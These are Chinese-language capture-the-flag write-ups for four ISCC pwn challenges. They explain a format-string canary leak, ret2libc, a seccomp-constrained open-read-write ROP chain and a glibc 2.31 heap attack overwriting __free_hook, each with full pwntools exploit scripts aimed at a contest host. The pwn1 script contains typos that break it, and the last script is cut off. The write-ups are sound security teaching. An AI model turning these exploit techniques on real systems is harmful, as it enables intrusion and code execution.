ISCC校赛练武pwn1
基本信息
| 项目 | 内容 |
|---|---|
| 题目名称 | pwn1 |
| 所属赛事 | ISCC |
| 二进制保护 | Canary + NX + No PIE + Partial RELRO |
| 架构 | 32-bit x86 (i386) |
| 漏洞类型 | 格式化字符串 + 栈缓冲区溢出 |
0x01 二进制分析
1.1 保护机制
$ checksec pwn1 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
- Canary: 栈上存在 canary,溢出前必须先泄漏
- NX: 栈不可执行,不能直接执行 shellcode
- No PIE: 地址固定,无需泄漏基址
- Partial RELRO: GOT 表可写,可考虑 GOT 劫持
1.2 关键函数
main (0x0804927e)
main: call init # 关闭缓冲 push "Hello Hacker!" call puts # 输出横幅 call vuln # 调用漏洞函数 ret
vuln (0x08049221) — 漏洞函数
vuln: sub esp, 0x78 ; 分配 120 字节栈空间 mov eax, gs:0x14 ; 获取 canary mov [ebp-0xc], eax ; 存入栈中 mov [ebp-0x74], 0 ; loop counter = 0 loop: push 0x200 ; read 最多 0x200 字节! lea eax, [ebp-0x70] ; buf 位于 ebp-0x70 push eax push 0 ; fd = 0 (stdin) call read lea eax, [ebp-0x70] ; 格式化字符串漏洞! push eax call printf add [ebp-0x74], 1 ; counter++ cmp [ebp-0x74], 1 ; counter <= 1 继续循环 jle loop ; canary 检查 mov eax, [ebp-0xc] xor eax, gs:0x14 je .ok call __stack_chk_fail .ok: leave ret
getshell (0x080491c6) — 后门函数
getshell:
push "/bin/sh" ; 0x0804a008
call system ; system("/bin/sh")
ret
题目自带 getshell 函数,直接调用 system("/bin/sh")。
1.3 漏洞总结
- 格式化字符串漏洞:
printf(buf)直接使用用户输入作为格式化字符串 - 栈缓冲区溢出:
read(fd, buf, 0x200)可读 512 字节,但 buf 只有 100 字节 - 循环两次: vuln 会执行两次
read + printf,给我们两次交互机会
0x02 栈布局分析
从 vuln 反汇编得出的栈布局:
低地址 ┌────────────────────────────┐ │ loop counter (4B) │ ebp-0x74 ├────────────────────────────┤ │ buf[100] │ ebp-0x70 ← read/printf 的输入点 │ ... │ │ ... │ ├────────────────────────────┤ │ canary (4B) │ ebp-0x0c ├────────────────────────────┤ │ 未知 padding (8B) │ ebp-0x08 ~ ebp-0x01 ├────────────────────────────┤ │ saved_ebp (4B) │ ebp+0x00 ├────────────────────────────┤ │ return_addr (4B) │ ebp+0x04 ← 正常返回到 main └────────────────────────────┘ 高地址
核心偏移量:
| 区间 | 偏移(相对 buf) | 大小 |
|---|---|---|
| buf | 0 | 100 字节 (0x64) |
| canary | 100 | 4 字节 |
| gap | 104 | 8 字节 |
| saved_ebp | 112 | 4 字节 |
| return_addr | 116 | 4 字节 |
总 payload 长度 = 120 字节
0x03 利用方案
方案 A:格式化字符串 → GOT 劫持
原理: 利用第一次 printf 的 %n 写功能,将 printf@GOT 改写为 getshell 地址。
这样第二次循环中 printf(buf) 被执行时,实际跳转到 getshell。
payload = fmtstr_payload(6, {PRINTF_GOT: GETSHELL}, write_size='byte')
# 6 = 输入在 printf 参数栈上的起始偏移
# PRINTF_GOT = 0x0804c014
# GETSHELL = 0x080491c6
第二次输入任意字符串触发 printf → 实际执行 getshell。
方案 B:泄漏 Canary + 栈溢出(推荐)
原理: 分两轮利用循环特性:
- 第 1 轮: 用
%31$p泄漏 canary - 第 2 轮: 用泄漏的 canary 构造 overflow payload,覆盖返回地址到
getshell
为什么是 %31$p?
- printf 的格式化参数从栈上第 6 位(偏移 5)开始接收我们的输入
- canary 在 buf 上方 100 字节 = 25 个参数位(每个参数 4 字节)
- 6 + 25 = 31
0x04 Exploit 代码
from pwn import *
contest(os='linux',arch = 'i386',log_level)
r = process('./pwn1')
r.recvuntil(b'Hello Hacker!\n')
ret = 0x804927D #re-enter the program entry point
bin_sh = 0x0804a008
get_shell = 0x080491C6
####canary
r.sendline(b'%31$p')
canary = int(r.recvline().strip(),16)
log.success(f'canry = {hex(canary)}')
####payload
payload = b'A'*0x64
payload += p32(canry)
payload += p32(ret) *3
payload += p32(GET_Shell)
r.send(payload)
r.interactive()
- question
canry = int(r.recvline().strip(), 16)
log.success(f'canry = {hex(canry)}')
这两句话什么意思第一行:
canry = int(r.recvline().strip(), 16)
r 是一个远程连接对象(如 remote('host', port))
r.recvline() 从远程接收一行数据(字符串)
.strip() 去掉首尾空白字符(如换行符 \n)
int(..., 16) 将字符串以 16进制 解析为整数
结果赋值给 canry(看上下文应该是 canary,栈保护 canary 的 typo)第二行: log.success(f'canry = {hex(canry)}')
log.success() 是 pwntools 的日志输出函数,以绿色成功级别打印
hex(canry) 将整数转回 16 进制字符串(如 0xdeadbeef)
0x05 运行结果
$ python3 exploit.py
[+] Opening connection to 39.96.193.120:10018
[+] Leaked canary: 0x8d3f6c00
[*] Sending payload (120 bytes)
[+] Flag: ISCC{4ad2bb11-ed6a-4202-9096-cfe28621d74c}
0x06 常见踩坑
| 问题 | 原因 | 解决 |
|---|---|---|
| payload 112 字节失败 | 忽略了 canary→ebp 间的 8 字节 gap | payload 必须 120 字节 |
| sendline 导致崩溃 | read() 会读入多余的 \n | 用 io.send() 而非 sendline |
| flag 收不到 | 没有等待 shell 启动 | 发送 cat 命令前 sleep(0.3) |
0x07 总结
本题是典型的 32 位 Canary 绕过入门题,核心考点:
- 格式化字符串泄漏:
%n$p定位 canary 位置 - Canary 绕过: 泄漏后原样写回
- 栈布局理解: 必须准确计算各区间偏移
两种方法对比:
- 方法 A (GOT 劫持): 一次 payload 搞定,无需计算偏移,但依赖
fmtstr_payload函数 - 方法 B (Canary 泄漏): 需要理解栈布局,但更通用,是 Canary 绕过的标准套路
推荐初学者优先掌握方法 B,它是真实 CTF 中最常见的 Canary 绕过手法。
ISCC 校赛练武pwn2
Attachment: attachment-9 (32-bit ELF)
Protections: NX=ON, PIE=OFF, Canary=OFF
0x01 静态分析
main()
char buf[32];
puts("Ready to begin...");
puts("Hope you have a good time here.");
read(0, buf, 32);
printf(buf); // [1] format string
if (*(0x0804C030) == 5) vuln(); // [2] need target_val == 5
vuln()
char buf[144]; write(1, "Input:\n", 7); read(0, buf, 256); // [3] stack overflow
关键地址
| Symbol | Address |
|---|---|
target_val | 0x0804C030 |
puts@GOT | 0x0804C014 |
puts@PLT | 0x08049060 |
两个漏洞入口: printf(buf) 可任意写 + 任意读;read() 长度 256 > 144 可覆盖返回地址。
0x02 攻击思路
Stage 1: 格式化字符串 ├── %8$n → target_val = 5 (开门进 vuln) └── %9$s → leak puts@GOT (泄露 libc) Stage 2: ret2libc ├── 144(buf) + 4(ebp) = 148 padding └── system + dummy_ret + /bin/sh Stage 3: getshell → cat /flag*
格式化串布局 (32 bytes)
Offset Content Why ────────────────────────────────────── 0 %5c%8$n 写5到target_val 8 |AAAAAAA 标记(解析用) 16 p32(0x0804C030) %8$n指向的地址 20 p32(0x0804C014) %9$s读取的地址 24 %9$s 泄露puts 28 LEAK 结束标记
溢出布局 (4+148 = 152 bytes)
Offset Content ────────────────────────── 0 144 bytes buf padding 144 4 bytes saved_ebp 148 system_addr ret addr 152 0xdeadbeef system's ret (dummy) 156 binsh_addr arg1: "/bin/sh"
0x03 libc 版本识别
libc.rip 输入 puts 末三字节 0x1e0,匹配到:
libc6-i386_2.31-0ubuntu9.17 puts: 0x0006d1e0 system: 0x00041360 /bin/sh:0x0018c363
0x04 Exploit
#!/usr/bin/env python3
from pwn import *
context.arch = 'i386'
context.log_level = 'info'
TARGET_VAL = 0x0804c030
PUTS_GOT = 0x0804c014
PUTS_OFF = 0x6d1e0
SYSTEM_OFF = 0x41360
BINSH_OFF = 0x18c363
r = remote('39.96.193.120', 10000)
r.recvuntil(b'here.\n')
# Stage 1: fmt string -> write target_val + leak puts
fmt = b'%5c%8$n|AAAAAAAA'
fmt += p32(TARGET_VAL)
fmt += p32(PUTS_GOT)
fmt += b'%9$s'
fmt += b'LEAK'
r.send(fmt)
resp = r.recvuntil(b'Input:\n')
aaaa = resp.find(b'AAAAAAAA')
leak_raw = resp[aaaa + 8 + 8:resp.find(b'LEAK')]
puts_addr = u32(leak_raw[:4])
log.success(f'puts = {hex(puts_addr)}')
libc = puts_addr - PUTS_OFF
system_addr = libc + SYSTEM_OFF
binsh_addr = libc + BINSH_OFF
# Stage 2: overflow ret2libc
payload = b'A' * 148
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)
r.send(payload)
import time
time.sleep(0.5)
r.sendline(b'cat /flag*')
time.sleep(0.5)
print(r.recv(timeout=3).decode('latin-1'))
r.interactive()
0x05 Flag
ISCC{e2d72fc8-fd71-4339-a79f-43a23013d374}
ISCC 2026 校赛PWN3 — 自动售货机
Flag: ISCC{c3fc4ab9-cbdc-4f24-a714-899ceacc0356}
0x01 题目信息
| 文件 | attachment-16 (x86_64, not stripped) |
| Libc | libc.so (glibc 2.31) |
| 保护 | NX: OFF, PIE: OFF, Canary: ON, Partial RELRO |
| 漏洞 | 格式化字符串 + 整数溢出 + 栈溢出 |
| Seccomp | 仅允许 open(2) read(0) write(1) stat fstat getcwd |
0x02 漏洞分析
1. 格式化字符串 — 输入客户ID处: read(0, name_buf, 31) → printf(name_buf)
%10$ → rsp+0x20 = name_buf[16:24] ← 在此放置地址 %45$ → rsp+0x138 = rbp-0x08 → Canary %46$ → rsp+0x140 = rbp → Saved RBP
2. 整数溢出 — 数量检查: cmp al, 3 只检查低8位。1283 = 0x503 → al = 0x03 通过检查,实际读取1283字节。
3. 栈溢出 — buf1 在 rbp-0x110 (256B),read(0, buf1, quantity) 中 quantity=1283 造成溢出:
buf1[0..255] 256B ← 缓冲区 局部变量 8B canary 8B ← 偏移 264 saved rbp 8B ← 偏移 272 返回地址 8B ← 偏移 280 → ROP起点
0x03 利用流程 (3轮 vuln())
第1轮 — 格式化字符串泄露 libc + canary:
发送: %10$sAAA%45$pxxx + p64(puts_got)
%10$s → 解引用 name_buf[16:24] 处的 puts@GOT → 读取 puts 真实地址
%45$p → 打印 canary
→ libc_base = puts_addr - 0x84420
第2轮 — 泄露栈地址:
发送: %46$p → saved rbp → buf1_addr = saved_rbp - 0x130
第3轮 — 溢出 + ORW ROP链:
| Gadget | 位置 | 偏移 |
|---|---|---|
pop rdi; ret | 程序本身 | 0x4014a3 |
pop rax; ret | libc | 0x36174 |
pop rsi; pop r15; ret | libc | 0x23b68 |
pop rdx; pop rbx; ret | libc | 0x15fae6 |
syscall; ret | libc | 0x630a9 |
注意:
0x4014a0处是pop r14;pop r15;ret(41 5e 41 5f c3),不是pop rsi!
ROP链:open("/flag.txt",0,0) → read(3, buf, 100) → write(1, buf, 100)
Payload 结构 (1283字节):
[24B 头部][240B 填充][canary][0(伪造rbp)][ROP ~312B][填充]["/flag.txt"][读缓冲区]
0x04 Exploit 代码
from pwn import *
context.arch = 'amd64'
HOST, PORT = '39.96.193.120', 33334
elf = ELF('./attachment-16', checksec=False)
libc = ELF('./libc.so', checksec=False)
pop_rdi = 0x4014a3
POP_RAX_OFF, SYSCALL_OFF = 0x36174, 0x630a9
POP_RDX_OFF, POP_RSI_OFF = 0x15fae6, 0x23b68
PUTS_OFF = libc.symbols['puts']
puts_got, QUANTITY = elf.got['puts'], 1283
def raw_syscall(rax, rdi, rsi, rdx):
r = p64(pop_rax_ret) + p64(rax) + p64(pop_rdi) + p64(rdi)
r += p64(pop_rsi_r15) + p64(rsi) + p64(0)
r += p64(pop_rdx_pop_rbx_ret) + p64(rdx) + p64(0)
r += p64(syscall_ret)
return r # 88B
p = remote(HOST, PORT)
p.recvuntil(b'customer ID:\n')
# 第1轮:泄露
fmt = b'%10$sAAA%45$pxxx'
p.send(fmt + p64(puts_got))
p.recvuntil(b'Welcome, ')
puts_addr = u64(p.recvuntil(b'AAA', drop=True).ljust(8, b'\x00'))
canary = int(p.recvuntil(b'xxx', drop=True), 16)
libc_base = puts_addr - PUTS_OFF
pop_rax_ret = libc_base + POP_RAX_OFF
syscall_ret = libc_base + SYSCALL_OFF
pop_rdx_pop_rbx_ret = libc_base + POP_RDX_OFF
pop_rsi_r15 = libc_base + POP_RSI_OFF
p.recvuntil(b'need:\n'); p.sendline(b'1')
p.recvuntil(b'need:\n'); p.send(b'x')
# 第2轮:泄露栈地址
p.recvuntil(b'customer ID:\n')
p.send(b'%46$p')
p.recvuntil(b'Welcome, ')
saved_rbp = int(p.recvline().strip(), 16)
buf1_addr = saved_rbp - 0x130
# 第3轮:ORW
p.recvuntil(b'need:\n'); p.sendline(b'1')
p.recvuntil(b'need:\n'); p.send(b'y')
p.recvuntil(b'customer ID:\n'); p.send(b'Z')
p.recvuntil(b'need:\n')
p.sendline(str(QUANTITY).encode())
p.recvuntil(b'need:\n')
data_off = (QUANTITY - 32 - 128) & ~7
path_buf = buf1_addr + data_off
read_buf = buf1_addr + data_off + 32
rop = raw_syscall(2, path_buf, 0, 0) # open
rop += raw_syscall(0, 3, read_buf, 100) # read
rop += raw_syscall(1, 1, read_buf, 100) # write
header = b'READFLAG' + b'\x00'*8 + b'\x00'*8
header += b'E'*240 + p64(canary) + p64(0)
overflow = header + rop
overflow += b'\x00'*(data_off - len(overflow))
overflow += b'/flag.txt\x00'.ljust(32, b'\x00') + b'\x00'*128
overflow = overflow.ljust(QUANTITY, b'\x00')
p.send(overflow)
import time; time.sleep(0.5)
data = p.recvall(timeout=8)
idx = data.find(b'READFLAG\n')
if idx >= 0:
flag = data[idx+9:idx+109]
print(f'FLAG: {flag[:flag.find(b\"\\x00\")].decode()}')
p.close()
ISCC 2026 校赛pwn4 题解
0x01 题目信息
| 项目 | 内容 |
|---|---|
| 题目 | pwn4 |
| 二进制 | 64-bit ELF, PIE enabled, stripped |
| libc | 自实现 Ubuntu glibc 2.31-0ubuntu9.18 |
| 考点 | tcache count saturation, unsorted bin leak, __free_hook overwrite |
0x02 前置知识
2.1 堆内存是什么?
程序运行时,除了栈(stack)以外,还有一片叫"堆"(heap)的内存区域。栈由编译器自动管理(函数调用时分配、返回时释放),而堆由程序员手动申请和释放。
C 语言中用 malloc(size) / calloc(n, size) 申请堆内存,用 free(ptr) 释放。
2.2 glibc 的堆分配器:ptmalloc
Linux 下最常用的 libc 是 glibc,它的内存分配器叫 ptmalloc(pthread malloc)。
当我们调用 malloc(100) 时,ptmalloc 并不是直接向操作系统要 100 字节,而是:
- 先从本地缓存(tcache 或 fastbin)找有没有合适大小的空闲块
- 如果没有,再去 unsorted bin / small bin / large bin 找
- 如果还没有,从堆顶(top chunk)切一块新的
- 实在不行才用
brk()/mmap()向操作系统申请
┌──────────────────────────────────────┐
│ 用户请求 malloc(100) │
└─────────────────┬────────────────────┘
▼
┌──────────────────────────────────────┐
│ ① 查 tcache (每线程缓存,最快) │
│ ② 查 fastbin (LIFO 单链表) │
│ ③ 查 smallbin / largebin / unsorted │
│ ④ 从 top chunk 切新块 │
│ ⑤ 向 OS 申请更多内存 (brk/mmap) │
└──────────────────────────────────────┘
2.3 chunk 的结构
堆中的每一块内存都叫一个 chunk。chunk 的结构如下(64 位系统):
+--------+--------+--------+--------+
| prev_size (8 bytes) │ 前一个 chunk 的大小(如果前一个空闲)
+--------+--------+--------+--------+
| size (8 bytes) │ 本 chunk 的大小 + 标志位(最低3bit)
+--------+--------+--------+--------+
| user data ... │ 用户可用的数据区
| ... │
| ... │
+--------+--------+--------+--------+
prev_size: 前一个 chunk 的大小(只有当前一个空闲时才有效,否则被前一个 chunk 借用存储数据)size: 本 chunk 的大小,最低 3 bit 是标志位:- bit 0:
PREV_INUSE— 前一个 chunk 是否在使用中(0=空闲, 1=使用中) - bit 1:
IS_MMAPPED— 是否由 mmap 分配 - bit 2:
NON_MAIN_ARENA— 是否属于非主 arena
- bit 0:
- chunk 大小总是 16 字节对齐的(64 位系统)
例如,calloc(1, 24) 申请 24 字节:
chunk_size = (24 + 8 + 15) & ~15 = 47 & ~15 = 32 = 0x20
其中 8 是 chunk header 需要的大小,15 是对齐掩码。
用户可用的空间 = chunk_size - 8(header)= 0x18 = 24 字节。多出来的 8 字节其实是下一个 chunk 的 prev_size 字段,当当前 chunk 使用时可以被"借用"。
2.4 tcache(Thread Cache)是什么?
glibc 2.26 引入了 tcache,是一种每线程的快速缓存。
tcache_perthread_struct {
char counts[64]; // 每个 bin 当前缓存的 chunk 数量(最多 7)
void *entries[64]; // 每个 bin 的链表头指针
}
- 共 64 个 bin,分别对应 0x20 ~ 0x410 的 chunk
- 每个 bin 最多缓存 7 个 chunk
- LIFO(后进先出),类似栈
- 没有安全检查,速度最快
关键特性:
free()时:如果 tcache 对应 bin 没满(count < 7),chunk 优先进 tcachemalloc()时:如果 tcache 对应 bin 不为空,优先从 tcache 取calloc()不同!calloc在 glibc 2.31 中直接跳过 tcache,不会从 tcache 取 chunk
calloc 和 malloc 的区别:
malloc(size):分配但不初始化,可能残留旧数据calloc(n, size):分配 n 个 size 的对象,并把内存清零。在 glibc 2.31 中,calloc 不会从 tcache 取 chunk(这是为了防止把未清零的敏感数据返回给调用者)
2.5 unsorted bin 和 libc 泄露
当一个 chunk 被 free() 且不满足 tcache / fastbin 条件时,它进入 unsorted bin。
unsorted bin 是一个双向循环链表,表头在 libc 的 main_arena 结构体中。
一旦 chunk 进入 unsorted bin,它的 fd 和 bk 指针就会指向 main_arena 内的地址(位于 libc 的数据段):
+-----------------------------------------------+ | unsorted bin 中的 chunk | | | | fd ─────→ main_arena + 0x60 (or similar) | | bk ─────→ main_arena + 0x60 | | | | 这两个指针都在 libc 的地址空间中 | +-----------------------------------------------+
如果能读出 fd 指针,就能算出 libc 的基址,这就是 "unsorted bin leak"。
2.6 __free_hook 劫持
glibc 中有一个全局变量叫 __free_hook,位于 libc 的 writable 段。
void (*volatile __free_hook)(void *, const void *) = NULL;
当 __free_hook 不为 NULL 时,调用 free(ptr) 会变成:
if (__free_hook != NULL)
__free_hook(ptr, caller_addr); // 执行 hook 而不是真正释放
这是最经典的利用手法之一:把 __free_hook 覆盖成 system 函数的地址,然后 free("/bin/sh") 就会变成 system("/bin/sh"),从而拿到 shell。
注意:glibc 2.34 以后移除了
__free_hook和__malloc_hook。本题使用 2.31,所以可用。
0x03 题目分析
3.1 程序功能
程序模拟了一个"学生管理系统",有两种角色:
教师菜单(role=0):
1. add a student → 创建学生 2. give a score → 打分 3. write a review → 写评语(分配/写入 review chunk) 4. call his/her parent → 叫家长(释放 review → sub → student) 5. change role → 切换角色
学生菜单(role=1):
1. do the test → 考试 2. check for review → 查看评语(含堆地址泄露 + 任意字节+1 + 读取 review) 3. pray → 祈祷(开关,影响 set_mode 的行为) 4. set mode → 设置模式(写 0x20 字节到某个地址) 5. change role → 切换角色 6. change id → 切换学生 ID
3.2 关键数据结构
每个学生由 3 个 chunk 组成:
struct student // 0x30 chunk, calloc(1, 0x20)
{
int questions; // +0x00: 问题数量
void *sub; // +0x08: 指向 sub 结构体
void *mode; // +0x10: 指向 mode 结构体 (mode_ptr)
int pray_state; // +0x18: 祈祷状态
int reward_flag; // +0x1c: 奖励标记
};
struct sub // 0x20 chunk, calloc(1, 0x18)
{
int total; // +0x00: 总题数
int score; // +0x04: 分数
char *review_buf; // +0x08: 指向 review chunk 的用户数据
int review_size; // +0x10: review 的大小
};
3.3 堆内存布局
heap_base + 0x000 = tcache_perthread_struct (0x290 bytes) heap_base + 0x290 = student[0] (0x30) heap_base + 0x2c0 = sub[0] (0x20) ← 注意: 0x20 不是 0x30! heap_base + 0x2e0 = mode[0] (0x30) heap_base + 0x310 = student[1] (0x30) heap_base + 0x340 = sub[1] (0x20) ← type confusion 目标 #1 heap_base + 0x360 = mode[1] (0x30) heap_base + 0x390 = student[2] (0x30) heap_base + 0x3c0 = sub[2] (0x20) heap_base + 0x3e0 = mode[2] (0x30) heap_base + 0x410 = student[3] (0x30) heap_base + 0x440 = sub[3] (0x20) ← type confusion 目标 #2 heap_base + 0x460 = mode[3] (0x30) heap_base + 0x490 = student[4] (0x30) heap_base + 0x4c0 = sub[4] (0x20) heap_base + 0x4e0 = mode[4] (0x30) heap_base + 0x510 = review[1] (0x410) ← 将放入 unsorted bin heap_base + 0x920 = review[2] (0x20) ← "/bin/sh" 字符串 heap_base + 0x940 = review[3] (0x20) ← 最终 payload
3.4 漏洞所在
漏洞 1:Type Confusion(类型混淆)
set_mode 函数的行为:
if pray_state == ON:
# 读取 pray_score (0-100),把它的值作为 1 字节写到 student + 0x10
# student + 0x10 正好是 mode_ptr 的最低字节 (LSB)!
*(char*)(student + 0x10) = pray_score
else:
# 从 stdin 读 0x20 字节,写到 *(void**)(student + 0x10) 即 *mode_ptr
read(0, *mode_ptr, 0x20)
正常流程:
mode_ptr指向mode chunk→set_mode写入 mode chunk
攻击流程:
- pray ON → 写入
pray_score = 0x50(即 80) mode_ptr原本 =0x...370(mode1 的数据区),LSB 被改为0x50mode_ptr变成0x...350= sub1 的数据区- pray OFF →
set_mode→ 写入 sub1,而不是 mode1!
关键限制:pray_score 范围是 0100(0x000x64),所以只能修改 LSB 的低 7 位(最大 0x64)。这限制了哪些地址可以重定向到。
漏洞 2:set_mode 写溢出
set_mode 始终写 32 字节(0x20),但 sub 结构体只有 24 字节(0x18)。
sub[1] 数据区: 0x350 - 0x367 (24 bytes) set_mode 写入: 0x350 - 0x36f (32 bytes) ← 溢出了 8 字节! 溢出部分: 0x368 - 0x36f → mode[1] 的 size 字段
如果溢出的 8 字节写了 0x0000000000000000,mode1 的 chunk header 就被破坏了,后续任何涉及 mode1 的操作都会 crash。
修复方法:payload 末尾写入正确的 size 值(0x31 = 0x30 chunk + PREV_INUSE 标志位)。
漏洞 3:calloc 绕过 tcache
题目的所有分配都用 calloc()。在 glibc 2.31 中,calloc 不取 tcache 中的 chunk。所以常规的 tcache poisoning 攻击行不通:
- 把 chunk A free 进 tcache →
calloc永远不会重用 A → 无法控制 A 的内容
绕过方法:tcache count saturation。
漏洞 4:任意地址读写
check_review 函数:
if (sub->score > 0x59) {
printf("Good Job! Here is your reward! %p\n", student); // 堆泄露
if (reward_flag < 1) {
*(char*)arbitrary_addr += 1; // 任意地址 +1
}
write(1, sub->review_buf, sub->review_size); // 任意地址读
}
write_review (EXISTING 路径):
if (sub->review_buf != NULL) {
read(0, sub->review_buf, sub->review_size); // 任意地址写
}
通过 type confusion 控制 sub->review_buf 和 sub->review_size,就能获得任意地址读写原语。
0x04 利用链总览
Phase 1 → 创建 5 个学生,布置堆布局
Phase 2 → type confusion 控制 student 1 的 sub 结构体
Phase 3 → 分配 3 个 review chunk(0x410, 0x20, 0x20)
Phase 4 → 堆地址泄露(printf %p)
Phase 5 → 重设 mode_ptr,直接控制 sub[1]
Phase 6 → tcache count saturation(counts[0x3f] = 7)
Phase 7 → 配置 sub[0] 的 review_buf 指向 unsorted bin fd 的位置
Phase 8 → call_parent(1):free review[1] (0x410) → 进入 unsorted bin
Phase 9 → libc 泄露:读 unsorted bin fd
Phase 10 → type confusion 控制 student 3,把 __free_hook 覆盖为 system
Phase 11 → 触发:free(review[3]) → system("sh") → shell
0x05 详细步骤
Phase 1:创建学生
创建 5 个学生。每个学生占 0x30 + 0x20 + 0x30 = 0x80 字节。
5 个学生占 5 × 0x80 = 0x280,加上 tcache 0x290,总共 0x510。
学生分配完时,heap 的 top chunk 在 0x510,下一个分配(review1)将从这里开始。
Phase 2:Type Confusion 初始化
利用 pray_score = 80(0x50)将 mode_ptr 从指向 mode[1] 改到 sub[1]。
mode_ptr 原始值 = heap_base + 0x370 (LSB = 0x70) pray_score = 80 = 0x50 mode_ptr 修改后 = heap_base + 0x350 (LSB = 0x50 → sub[1] 数据区) ✓
然后 set_mode 向 sub[1] 写入初始值:score = 100(凑满 > 0x59 的条件以触发后续泄露)。
Phase 3:分配 Review
review[1]: 申请 1023 字节 → chunk size =(1023+8+15) & ~15 = 0x410。这是 tcache 能容纳的最大 chunk,对应counts[0x3f]。review[2]: 申请 8 字节 → chunk size =0x20。写入"/bin/sh"(备用)。review[3]: 申请 8 字节 → chunk size =0x20。占位,用于最终 payload。
Phase 4:堆地址泄露
check_review 中 printf("%p", student) 打印 student[1] 的地址。
heap_base = student1_addr - 0x320
为什么减
0x320?student1 的数据在heap_base + 0x320。
有了 heap_base 后,计算所有需要的地址:
sub0=heap_base + 0x2d0:sub0 的数据区(用于 libc leak)r1data=heap_base + 0x520:review1 的数据区(free 后变成 unsorted bin fd)c3f=heap_base + 0x10 + 0x3f:tcache counts0x3fr3data=heap_base + 0x950:review3 的数据区
Phase 5:重设 mode_ptr
用另一个 pray_score = 48(0x30)把 mode_ptr 的 LSB 改成 0x30。
mode_ptr → heap_base + 0x330 = student[1] + 0x10
然后 set_mode 向 student[1] + 0x10 写 32 字节:
[0x00] mode_ptr = &sub[1] ← 之后 set_mode 直接写 sub[1] [0x08] pray_state = 0 ← 关闭 pray [0x0c] reward_flag = 0 ← 重置 reward_flag [0x10] 随便写 ← sub[1] 的 prev_size(借用的) [0x18] 0x21 ← sub[1] 的 size 字段(必须保留!)
此后,set_mode 无需 pray 就直接写 sub[1],我们有了对 sub1 的稳定控制。
Phase 6:Tcache Count Saturation
这是最核心的一步。
目标:让 counts[0x3f](对应 0x410 chunk 的 tcache bin)变成 7。
**为什么是 7?**每个 tcache bin 最多存 7 个 chunk。当 count == 7 时,tcache bin 被认为是满的,再 free 的 chunk 不会进 tcache,而是进入 unsorted bin。
具体操作:
- 用 type confusion 把
sub[1].review_buf = &counts[0x3f],review_size = 1 write_review(EXISTING 路径)→read(0, &counts[0x3f], 1)→ 写入\x07
关于 tcache counts 的类型:
- glibc 2.31 原版:
char counts[64](uint8_t),每个 1 字节 - 某些 backport:
uint16_t counts[64](uint16_t),每个 2 字节
不确定远程用的是哪种 → 两个偏移都写:
heap_base + 0x10 + 0x3f(uint8_t 偏移)heap_base + 0x10 + 0x3f*2(uint16_t 偏移)
Phase 7:配置 sub0
通过 sub[1] 的任意写,配置 sub[0]:
sub[0].score = 100 ← 满足 > 0x59,触发 check_review 泄露 sub[0].review_buf = r1data ← 指向 review[1] 的数据区 sub[0].review_size = 8 ← 读 8 字节(一个指针大小)
然后恢复 sub[1].review_buf = r1data(实际的 review1 数据指针),因为接下来 call_parent 会用它来找到要 free 的 review。
这里被坑了很久:如果不恢复,call_parent 会 free 错误的东西导致 crash。
Phase 8:call_parent(1)
free(review[1]) → 0x410 chunk, counts[0x3f]==7 → full → 进 unsorted bin free(sub[1]) → 0x20 chunk → 进 tcache bin 0 free(student[1]) → 0x30 chunk → 进 tcache bin 1
现在 review1 在 unsorted bin 中,它的 fd/bk 指向 main_arena + 0x60。
Phase 9:Libc 泄露
切换到 student[0],调用 check_review:
write(1, sub[0].review_buf, 8) → write(1, r1data, 8)
→ 打印出 unsorted bin fd
→ 得到 libc 地址!
libc_base = fd - UNSORTED_BIN_OFFSET system = libc_base + SYSTEM_OFFSET __free_hook = libc_base + FREE_HOOK_OFFSET
Phase 10:覆盖 __free_hook
切换到 student[3],用同样的 type confusion(pray_score = 80 = 0x50):
mode_ptr 原本 = heap_base + 0x470 (LSB = 0x70) pray_score = 0x50 mode_ptr 修改后 = heap_base + 0x450 = sub[3] 数据区 ✓
把 sub[3].review_buf = __free_hook,review_size = 8。
然后 write_review(EXISTING 路径)→ read(0, __free_hook, 8) → 写入 p64(system_addr)。
__free_hook = system,搞定。
Phase 11:触发 Shell
再把 sub[3].review_buf 改回 r3data(review3 的数据区),把 review3 的内容写成 "sh"。
调用 call_parent(3):
free(r3data)
→ __free_hook != NULL
→ __free_hook(r3data)
→ system(r3data)
→ system("sh") ← 拿到了 shell!
最后通过 shell 执行 cat flag.txt 获取 flag。
0x06 完整 EXP
#!/usr/bin/env python3
"""
ISCC 2026 pwn4 Exploit
策略: tcache count saturation → unsorted bin leak → __free_hook overwrite
"""
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
HOST = '39.96.193.120'
PORT = 10016
# libc 偏移(从提供的 libc.so 中提取)
SYSTEM_OFF = 0x52290
FREE_HOOK_OFF = 0x1eee48
UNSORTED_BIN_OFF = 0x1ecbe0
def send_addr(io, addr):
"""通过自定义 read 包装器发送地址(它会在换行前吃掉一个字节)"""
io.send(str(addr).encode() + b'x\n')
def menu(io, choice):
"""菜单选择"""
io.sendlineafter(b'choice>>', choice)
def exploit():
io = remote(HOST, PORT)
io.sendlineafter(b'role: <0.teacher/1.student>:', b'0')
# ==================================================================
# Phase 1: 创建 5 个学生 (0-4)
# 每个学生: student(0x30) + sub(0x20) + mode(0x30) = 0x80
# ==================================================================
log.info("Phase 1: Creating students 0-4")
for i in range(5):
menu(io, b'1')
io.sendlineafter(b'enter the number of questions:', b'9')
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'1')
menu(io, b'6'); io.sendlineafter(b'input your id:', str(i).encode())
menu(io, b'4')
io.recvuntil(b'enter your mode!')
io.send(b'X' * 0x20)
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'0')
# ==================================================================
# Phase 2: Type confusion on student 1
# pray_score = 80 (0x50) → mode_ptr LSB: 0x70 → 0x50 = &sub[1]
# ==================================================================
log.info("Phase 2: Type confusion on student 1")
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'1')
menu(io, b'6'); io.sendlineafter(b'input your id:', b'1')
menu(io, b'3') # pray ON
menu(io, b'4')
io.sendlineafter(b'enter your pray score: 0 to 100', b'80')
menu(io, b'3') # pray OFF
menu(io, b'4') # set_mode → 写 sub[1]
io.recvuntil(b'enter your mode!')
# payload: p32(total) + p32(score) + p64(review_buf) + p32(review_size)
# + p32(0) ← mode[1] prev_size (可覆盖)
# + p64(0x31) ← mode[1] size 字段 (必须保留!)
